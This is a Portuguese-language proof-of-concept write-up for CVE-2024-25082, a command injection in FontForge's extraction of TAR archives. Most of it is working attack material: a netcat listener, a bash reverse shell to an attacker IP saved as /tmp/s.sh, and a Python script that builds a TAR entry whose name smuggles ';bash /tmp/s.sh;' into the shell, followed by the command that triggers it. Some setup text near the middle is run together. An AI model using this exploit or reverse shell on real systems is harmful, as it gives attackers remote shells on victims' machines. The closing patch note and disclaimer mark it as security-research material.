
Vulnerabilidade de Injeção de Comandos em Nome de Arquivo Criado com Splinefont do FontForge
| CVE | Vetor | Gatilho |
|---|
| CVE-2024-25081 | Nome de arquivo malicioso | Abertura direta de arquivo |
| CVE-2024-25082 | Nome de arquivo de archive malicioso | Extração de TAR/ZIP/GZ/BZ2 |
Este PoC tem como alvo a CVE-2024-25082 — a extração automática de arquivos do FontForge passa nomes de arquivo para um shell sem sanitização, permitindo que um payload delimitado por ponto e vírgula incorporado em um nome de entrada TAR execute comandos arbitrários.
O FontForge suporta a abertura de arquivos de fonte diretamente de arquivos compactados. Ao extrair um archive TAR, o componente Splinefont constrói um comando shell usando o nome do arquivo da entrada do archive. Como o nome do arquivo não é sanitizado, um ponto e vírgula (;) no nome da entrada sai do comando esperado e injeta instruções arbitrárias no shell.
Nome de entrada TAR malicioso:
exploit.ttf;bash /tmp/s.sh;
Quando o FontForge processa este archive, o shell interpreta isto como:
<extract command> exploit.ttf ; bash /tmp/s.sh ;
192.168.1.20:4444 (ajuste conforme necessário)tarfile)netcat na máquina do atacantenc -lvnp 4444
# Write the reverse shell payload
echo 'bash -i >& /dev/tcp/192.168.1.20/4444 0>&1' > /tmp/s.sh
chmod +x /tmp/s.sh
# Build the malicious archive
python3 << 'EOF'
import tarfile, io
malicious_name = "exploit.ttf;bash /tmp/s.sh;"
tar = tarfile.open("exploit.tar", "w")
info = tarfile.TarInfo(name=malicious_name)
info.size = 4
tar.addfile(info, io.BytesIO(b"AAAA"))
tar.close()
print("done")
EOF
fontforge exploit.tar
Um reverse shell irá conectar de volta ao seu listener.
Corrigido no FontForge pós-20230101 via PR #5367. Atualize para a versão mais recente.
sudo apt upgrade fontforgeEste código de Prova de Conceito (PoC) é fornecido apenas para fins educacionais e de teste de penetração autorizado.